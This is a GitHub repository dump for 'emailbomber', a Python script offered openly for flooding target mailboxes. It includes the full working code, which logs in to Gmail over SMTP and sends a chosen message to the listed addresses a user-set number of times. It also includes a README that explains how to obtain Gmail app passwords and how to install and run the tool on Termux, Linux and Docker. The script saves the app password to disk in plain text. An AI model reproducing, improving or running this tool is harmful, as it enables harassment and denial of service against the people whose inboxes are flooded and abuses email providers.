├── .idea ├── .gitignore ├── vcs.xml ├── misc.xml ├── inspectionProfiles │ └── profiles_settings.xml ├── modules.xml └── emailbomber.iml ├── .gitattributes ├── resources └── images │ └── folder-structure.jpg ├── Dockerfile ├── Welcome └── welcome.txt ├── LICENSE.md ├── emailbomber.py └── README.md /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /resources/images/folder-structure.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coderatul/emailbomber/HEAD/resources/images/folder-structure.jpg -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10.12-alpine 2 | RUN apk update 3 | WORKDIR /emailbomber 4 | COPY emailbomber.py emailbomber.py 5 | COPY ./Welcome/welcome.txt ./Welcome/welcome.txt 6 | CMD "python" "emailbomber.py" 7 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/emailbomber.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Welcome/welcome.txt: -------------------------------------------------------------------------------- 1 | ███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗ 2 | ██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗ 3 | █████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝ 4 | ██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗ 5 | ███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║ 6 | ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ 7 | 8 | v2.0.0 9 | Author: linktr.ee/coderatul 10 | Reading the prerequisite section is required to run this script successfully. 11 | Prerequisite section: https://github.com/coderatul/emailbomber#prerequisite-%EF%B8%8F -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022-Present Atul Kushwaha 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /emailbomber.py: -------------------------------------------------------------------------------- 1 | # Built-in libraries 2 | import smtplib 3 | import getpass 4 | from os import access, path, mkdir 5 | from email.message import EmailMessage 6 | 7 | # Welcomes user 8 | print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") 9 | 10 | # User inputs 11 | if not path.exists("User_Credentials"): 12 | # If User_Credentials does not exist, asks for user credentials 13 | sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") 14 | app_password = getpass.getpass("Enter the app's password (xxxx xxxx xxxx xxxx) -> ") 15 | else: 16 | # Otherwise, reads saved user credentials 17 | sender = open("User_Credentials/sender.txt", "rt").read() 18 | app_password = open("User_Credentials/app_password.txt", "rt").read() 19 | 20 | print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") 21 | 22 | # Enter the email(s) that you would like to email-bomb 23 | receiver = input("Specify the email(s) you would like to email-bomb -> ") 24 | 25 | # Enter the subject for the emails 26 | subject = input("Enter the subject for your email-bomber message -> ") 27 | 28 | # Enter the message that the email user(s) will receive 29 | msg = input("Enter your email-bomber message -> ") 30 | 31 | message = EmailMessage() 32 | message.set_content(msg, subtype="plain", charset='us-ascii') 33 | message["Subject"] = subject # Set the subject for the email 34 | 35 | # Loop until a valid count value is given 36 | while True: 37 | try: 38 | count = int(input("Enter a number for the amount of emails to be sent -> ")) 39 | except ValueError: 40 | print("Please enter an integer for the amount of emails to be sent.") 41 | except KeyboardInterrupt: 42 | print("Goodbye!") 43 | quit() 44 | 45 | if count <= 0: 46 | print("Count must be positive. Received", count) 47 | continue 48 | break 49 | 50 | # Server 51 | server = smtplib.SMTP("smtp.gmail.com", 587) 52 | server.starttls() 53 | 54 | # Attempts to log in to the user's Gmail account 55 | try: 56 | server.login(user=sender, password=app_password) 57 | except smtplib.SMTPAuthenticationError as error: 58 | print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.") 59 | print(f"{error}") 60 | input("Enter to exit...") 61 | quit() 62 | 63 | try: 64 | if not path.exists("User_Credentials"): 65 | # If user credentials do not exist, create and save credential files 66 | # If there are no errors in credentials, save user information after SMTP verification 67 | mkdir("User_Credentials") 68 | open("User_Credentials/sender.txt", "xt").write(sender) 69 | open("User_Credentials/app_password.txt", "xt").write(app_password) 70 | input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...") 71 | except OSError: 72 | print("\nError: There was an error saving your credentials.") 73 | 74 | print("\nEmail-bomber has started...\n") 75 | 76 | for i in range(count): 77 | # Amount of messages to be sent 78 | for email_receiver in receiver.split(","): 79 | # Loops through emails to send emails to 80 | try: 81 | print(f"Email-bombing {email_receiver}...") 82 | server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string()) 83 | print("Email sent successfully!") 84 | except smtplib.SMTPException as error: 85 | print(f"Error: {error}") 86 | continue 87 | 88 | input("\nEmail-bomber was successful...\nPress enter to exit...") 89 | server.close() 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 📧 Email-Bomber v2.0.0 2 | ![Email Bomber Screenshot v2.0.0](https://i.imgur.com/zSeyXbw.png) 3 | - An open Source free to use email-bomber using python's built-in library SMTP. 4 | - This project's image is also available at dockerhub `docker pull coderatul/emailbomber` 5 | - use following commands to use it on docker 🐋 6 | - ``` 7 | docker run --rm -i -t emailbomber /bin/sh 8 | ``` 9 | - ``` 10 | python3 emailbomber.py 11 | ``` 12 | ## GUI version 💻 13 | > checkout [GUI](https://github.com/coderatul/emailGUI.git) version of emailbomber 14 | 15 | ![gui_emailbomber](https://github.com/user-attachments/assets/f9406245-cf9c-4b82-b525-60be1ba9079f) 16 | 17 | ## ⚠️ Prerequisite 18 | ![Enabling 2-Step Verification Screenshot](https://i.imgur.com/1tUNrsu.png) 19 | 20 | ### Enabling 2-Step Verification 21 | - Go to your [Google Account](https://myaccount.google.com/) which you would like to send email-bombs from. 22 | - Select [Security](https://myaccount.google.com/security). 23 | - Enable [2-Step Verification](https://myaccount.google.com/signinoptions/two-step-verification). 24 | 25 | ### Create App Password 26 | ![Create App Password Screenshot](https://i.imgur.com/KdU5Erp.png) 27 | - Go to [App Passwords](https://myaccount.google.com/apppasswords). 28 | - Select app as Mail. 29 | - Select device as your device e.g. Windows Computer etc. 30 | - If you do not have this option available: 31 | - You turned on Advanced Protection. 32 | - 2-Step Verification is not set up for your account. 33 | - 2-Step Verification is only set up for security keys. 34 | - Your account is under the control by work, school, or an organization. 35 | 36 | ### Use App Password 37 | ![App Password](https://i.imgur.com/krkn5EX.png) 38 | - Copy App Password. 39 | - Use App Password in Email-Bomber script (you can input it safely into the prompt without it displaying to the console). 40 | 41 | ### Setup App Password in Email-Bomber script 42 | ![Folder Structure](./resources/images/folder-structure.jpg) 43 | - Create User_Credentials folder in Email-Bomber folder 44 | - Replicate the folder structure 45 | - Paste App Password in app_password.txt 46 | - Paste sender's email in sender.txt 47 | - You're good to go!! 48 | 49 | ## 📑 Installation Guide 50 | ### Termux 51 | ``` 52 | pkg install git 53 | ``` 54 | ``` 55 | pkg install python 56 | ``` 57 | ``` 58 | git clone https://github.com/coderatul/emailbomber 59 | ``` 60 | ``` 61 | ls 62 | ``` 63 | ``` 64 | cd emailbomber 65 | ``` 66 | ``` 67 | python emailbomber.py 68 | ``` 69 | ### Linux Distributions 70 | ``` 71 | sudo apt install git 72 | ``` 73 | ``` 74 | sudo apt install python3.8 75 | ``` 76 | ``` 77 | sudo apt update && upgrade 78 | ``` 79 | ``` 80 | git clone https://github.com/coderatul/emailbomber 81 | ``` 82 | ``` 83 | cd emailbomber 84 | ``` 85 | ``` 86 | python emailbomber.py 87 | ``` 88 | 89 | ## 📇 License 90 | ``` 91 | MIT License 92 | 93 | Copyright (c) 2022-Present, Atul Kushwaha. 94 | 95 | Permission is hereby granted, free of charge, to any person obtaining a copy 96 | of this software and associated documentation files (the "Software"), to deal 97 | in the Software without restriction, including without limitation the rights 98 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 99 | copies of the Software, and to permit persons to whom the Software is 100 | furnished to do so, subject to the following conditions: 101 | 102 | The above copyright notice and this permission notice shall be included in all 103 | copies or substantial portions of the Software. 104 | 105 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 106 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 107 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 108 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 109 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 110 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 111 | SOFTWARE. 112 | ``` 113 | 114 | ## 🤵 Authors 115 | - [@coderatul](https://github.com/coderatul) 116 | 117 | ## ❔ Questions/Feedback 118 | If you have any questions or feedback, please reach out in [issues](https://github.com/coderatul/emailbomber/issues). 119 | --------------------------------------------------------------------------------